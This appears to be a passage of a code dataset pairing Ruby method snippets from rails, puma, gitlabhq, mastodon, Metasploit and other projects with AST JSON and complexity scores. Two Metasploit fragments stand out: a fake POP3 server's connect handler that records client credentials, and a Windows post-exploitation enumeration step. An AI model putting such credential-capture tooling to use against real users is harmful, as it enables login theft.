end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reassign_sequence\",{\"type\":\"str\",\"children\":[\"discourse_voting_topic_vote_count_id_seq\"]},{\"type\":\"str\",\"children\":[\"topic_voting_topic_vote_count\"]}]},{\"type\":\"send\",\"children\":[null,\"reassign_sequence\",{\"type\":\"str\",\"children\":[\"discourse_voting_votes_id_seq\"]},{\"type\":\"str\",\"children\":[\"topic_voting_votes\"]}]},{\"type\":\"send\",\"children\":[null,\"reassign_sequence\",{\"type\":\"str\",\"children\":[\"discourse_voting_category_settings_id_seq\"]},{\"type\":\"str\",\"children\":[\"topic_voting_category_settings\"]}]}]}]}","id":"64f5bf19-b422-4147-bbd4-96e37cf95360"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/system_testing/test_helpers/screenshot_helper.rb","start_line":72,"raw_source":"def unique\n failed? ? \"failures\" : (_screenshot_counter || 0).to_s\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"unique\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failed?\"]},{\"type\":\"str\",\"children\":[\"failures\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_screenshot_counter\"]},{\"type\":\"int\",\"children\":[0]}]}]},\"to_s\"]}]}]}","id":"7c77b449-f741-4039-b5dc-3c958ed3ca50"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/test/models/person_with_validator.rb","start_line":18,"raw_source":"def validate_each(record, attribute, value)\n unless value[@with]\n record.errors.add attribute, \"does not appear to be like #{@with}\"\n end\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_each\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"ivar\",\"children\":[\"@with\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"does not appear to be like \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@with\"]}]}]}]}]}]}","id":"95a275c6-3bef-4726-a08c-206798dfe0e8"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/capture/pop3.rb","start_line":51,"raw_source":"def on_client_connect(client)\n @state[client] = { name: \"#{client.peerhost}:#{client.peerport}\", ip: client.peerhost, port: client.peerport, user: nil, pass: nil }\n client.put \"+OK\\r\\n\"\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_client_connect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"client\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"peerhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"peerport\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"peerhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"peerport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pass\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"put\",{\"type\":\"str\",\"children\":[\"+OK\\r\\n\"]}]}]}]}","id":"8c7d8bbc-32a8-4c97-8c01-29697d13d275"} {"repo_name":"puma","file_path":"./repos/puma/lib/puma/dsl.rb","start_line":1315,"raw_source":"def enable_keep_alives(enabled=true)\n @options[:enable_keep_alives] = enabled\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"enable_keep_alives\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"enabled\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"enable_keep_alives\"]},{\"type\":\"lvar\",\"children\":[\"enabled\"]}]}]}","id":"e1c772f8-0a11-43f0-bd19-3d19432d712e"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/redirect_test.rb","start_line":621,"raw_source":"def test_url_from\n with_raise_on_open_redirects do\n get :safe_redirect_with_fallback, params: { redirect_url: \"http://test.host/app\" }\n assert_response :redirect\n assert_redirected_to \"http://test.host/app\"\n end\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_url_from\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_raise_on_open_redirects\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"safe_redirect_with_fallback\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redirect_url\"]},{\"type\":\"str\",\"children\":[\"http://test.host/app\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"redirect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_redirected_to\",{\"type\":\"str\",\"children\":[\"http://test.host/app\"]}]}]}]}]}","id":"c9b6b633-2fb0-4362-abee-cb9104d9e624"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/render_path.rb","start_line":4,"raw_source":"def setup\n @r = Brakeman::RenderPath.new\n @at = BrakemanTester.new_tracker.app_tree\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@r\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"RenderPath\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BrakemanTester\"]},\"new_tracker\"]},\"app_tree\"]}]}]}]}","id":"aee387c5-8ceb-40e8-9feb-03511906bc04"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/config/entry/validators.rb","start_line":157,"raw_source":"def validate_each(record, attribute, value)\n return if options[:variable] && contains_variable?(value)\n\n unless validate_duration(value, options[:parser])\n record.errors.add(attribute, 'should be a duration')\n end\n\n if options[:limit]\n unless validate_duration_limit(value, options[:limit], options[:parser])\n record.errors.add(attribute, 'should not exceed the limit')\n end\n end\n end","complexity_score":26.1,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_each\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"variable\"]}]},{\"type\":\"send\",\"children\":[null,\"contains_variable?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_duration\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parser\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"str\",\"children\":[\"should be a duration\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"limit\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_duration_limit\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"limit\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parser\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"str\",\"children\":[\"should not exceed the limit\"]}]}]},null]}]}]}","id":"4b343c70-2b78-4998-a93f-87faa5ce483e"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/notifications/fanout.rb","start_line":254,"raw_source":"def finish_with_values(name, id, payload) # :nodoc:\n ensure_state! :started\n @state = :finished\n\n iterate_guarding_exceptions(@groups) do |group|\n group.finish(name, id, payload)\n end\n end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"finish_with_values\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_state!\",{\"type\":\"sym\",\"children\":[\"started\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@state\",{\"type\":\"sym\",\"children\":[\"finished\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"iterate_guarding_exceptions\",{\"type\":\"ivar\",\"children\":[\"@groups\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"finish\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]}","id":"faa58799-daaf-4b32-9b26-5de7a1b7949a"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/i18n_generate_message_validation_test.rb","start_line":27,"raw_source":"def test_generate_message_exclusion_with_custom_message\n assert_equal \"custom message title\", @person.errors.generate_message(:title, :exclusion, message: \"custom message %{value}\", value: \"title\")\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_generate_message_exclusion_with_custom_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"custom message title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@person\"]},\"errors\"]},\"generate_message\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"exclusion\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"custom message %{value}\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"str\",\"children\":[\"title\"]}]}]}]}]}]}","id":"f225bd9a-e050-432c-9cc2-561364500b3c"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/serialization_test.rb","start_line":148,"raw_source":"def test_include_with_options\n expected = { \"email\" => \"david@example.com\", \"gender\" => \"male\", \"name\" => \"David\",\n \"address\" => { \"street\" => \"123 Lane\" } }\n assert_equal expected, @user.serializable_hash(include: { address: { only: \"street\" } })\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_include_with_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"email\"]},{\"type\":\"str\",\"children\":[\"david@example.com\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"gender\"]},{\"type\":\"str\",\"children\":[\"male\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"David\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"address\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"street\"]},{\"type\":\"str\",\"children\":[\"123 Lane\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"serializable_hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"str\",\"children\":[\"street\"]}]}]}]}]}]}]}]}]}]}]}","id":"2782bc93-0c0d-41eb-9e2a-4fff08b39310"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/enum_applications.rb","start_line":77,"raw_source":"def run\n print_status(\"Enumerating applications installed on #{sysinfo['Computer']}\")\n app_list\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Enumerating applications installed on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Computer\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"app_list\"]}]}]}","id":"2106011f-86e5-4c35-943e-fea50ddee306"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_schedule.rb","start_line":207,"raw_source":"def action_test(obj, _at)\n _log.info(\"[#{name}] Action has been run for target: [#{obj.name}]\")\n puts(\"[#{Time.now}] MIQ(Schedule.action-test) [#{name}] Action has been run for target: [#{obj.name}]\")\n end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"action_test\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]},{\"type\":\"arg\",\"children\":[\"_at\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"] Action has been run for target: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"str\",\"children\":[\"] MIQ(Schedule.action-test) [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"] Action has been run for target: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]}]}","id":"fc2b9861-715d-45fc-902e-ac011f1af9f6"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/testing/integration.rb","start_line":437,"raw_source":"def respond_to_missing?(method, _)\n integration_session.respond_to?(method) || super\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to_missing?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"integration_session\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"25ee4aaa-bc58-4f08-9161-c909d6514963"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/account/header.rb","start_line":30,"raw_source":"def header_original_url\n header.url(:original)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"header_original_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"header\"]},\"url\",{\"type\":\"sym\",\"children\":[\"original\"]}]}]}","id":"15a259be-feec-4c50-a4ef-4361464d191b"} {"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/work_package_types/update_subject_pattern_contract.rb","start_line":63,"raw_source":"def flat_valid_token_list\n enabled, _disabled = WorkPackageTypes::Patterns::TokenPropertyMapper.new.partitioned_tokens_for_type(model)\n enabled.map(&:key)\n end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"flat_valid_token_list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"enabled\"]},{\"type\":\"lvasgn\",\"children\":[\"_disabled\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackageTypes\"]},\"Patterns\"]},\"TokenPropertyMapper\"]},\"new\"]},\"partitioned_tokens_for_type\",{\"type\":\"send\",\"children\":[null,\"model\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enabled\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]}]}]}]}]}","id":"eb8dfcc1-d705-4308-bdfd-376466757df1"} {"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/location_search/result_aggregator.rb","start_line":42,"raw_source":"def create_visit_from_points(points)\n return nil if points.empty?\n\n # Sort points by timestamp to get chronological order\n sorted_points = points.sort_by { |p| p[:timestamp] }\n first_point = sorted_points.first\n last_point = sorted_points.last\n\n # Calculate visit duration\n duration_minutes =\n if sorted_points.length > 1\n ((last_point[:timestamp] - first_point[:timestamp]) / 60.0).round\n else\n # Single point visit - estimate based on typical stay time\n 15 # minutes\n end\n\n # Find the most accurate point (lowest accuracy value means higher precision)\n most_accurate_point = points.min_by { |p| p[:accuracy] || 999_999 }\n\n # Calculate average distance from search center\n average_distance = (points.sum { |p| p[:distance_meters] } / points.length).round(2)\n\n {\n timestamp: first_point[:timestamp],\n date: first_point[:date],\n coordinates: most_accurate_point[:coordinates],\n distance_meters: average_distance,\n duration_estimate: format_duration(duration_minutes),\n points_count: points.length,\n accuracy_meters: most_accurate_point[:accuracy],\n visit_details: {\n start_time: first_point[:date],\n end_time: last_point[:date],\n duration_minutes: duration_minutes,\n city: most_accurate_point[:city],\n country: most_accurate_point[:country],\n altitude_range: calculate_altitude_range(points)\n }\n }\n end","complexity_score":48.35,"ast_json":"{\"type\":\"def\",\"children\":[\"create_visit_from_points\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"points\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"points\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"sorted_points\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"points\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timestamp\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"first_point\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sorted_points\"]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"last_point\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sorted_points\"]},\"last\"]}]},{\"type\":\"lvasgn\",\"children\":[\"duration_minutes\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sorted_points\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_point\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timestamp\"]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_point\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timestamp\"]}]}]}]},\"/\",{\"type\":\"float\",\"children\":[60.0]}]}]},\"round\"]},{\"type\":\"int\",\"children\":[15]}]}]},{\"type\":\"lvasgn\",\"children\":[\"most_accurate_point\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"points\"]},\"min_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"accuracy\"]}]},{\"type\":\"int\",\"children\":[999999]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"average_distance\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"points\"]},\"sum\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"distance_meters\"]}]}]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"points\"]},\"length\"]}]}]},\"round\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_point\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timestamp\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_point\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"coordinates\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"most_accurate_point\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"coordinates\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"distance_meters\"]},{\"type\":\"lvar\",\"children\":[\"average_distance\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duration_estimate\"]},{\"type\":\"send\",\"children\":[null,\"format_duration\",{\"type\":\"lvar\",\"children\":[\"duration_minutes\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"points_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"points\"]},\"length\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"accuracy_meters\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"most_accurate_point\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"accuracy\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visit_details\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_point\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_point\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duration_minutes\"]},{\"type\":\"lvar\",\"children\":[\"duration_minutes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"city\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"most_accurate_point\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"city\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"country\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"most_accurate_point\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"country\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"altitude_range\"]},{\"type\":\"send\",\"children\":[null,\"calculate_altitude_range\",{\"type\":\"lvar\",\"children\":[\"points\"]}]}]}]}]}]}]}]}","id":"7c1e1c13-4c1d-42e5-8b30-3984a0bc309c"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_one_associations_test.rb","start_line":175,"raw_source":"def test_association_change_calls_destroy\n companies(:first_firm).account = Account.new(credit_limit: 5)\n assert_equal [companies(:first_firm).id], Account.destroyed_account_ids[companies(:first_firm).id]\n end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_association_change_calls_destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"companies\",{\"type\":\"sym\",\"children\":[\"first_firm\"]}]},\"account=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"credit_limit\"]},{\"type\":\"int\",\"children\":[5]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"companies\",{\"type\":\"sym\",\"children\":[\"first_firm\"]}]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"destroyed_account_ids\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"companies\",{\"type\":\"sym\",\"children\":[\"first_firm\"]}]},\"id\"]}]}]}]}]}","id":"6f2b2209-ce78-46c3-aed5-db6fdaac73bd"} 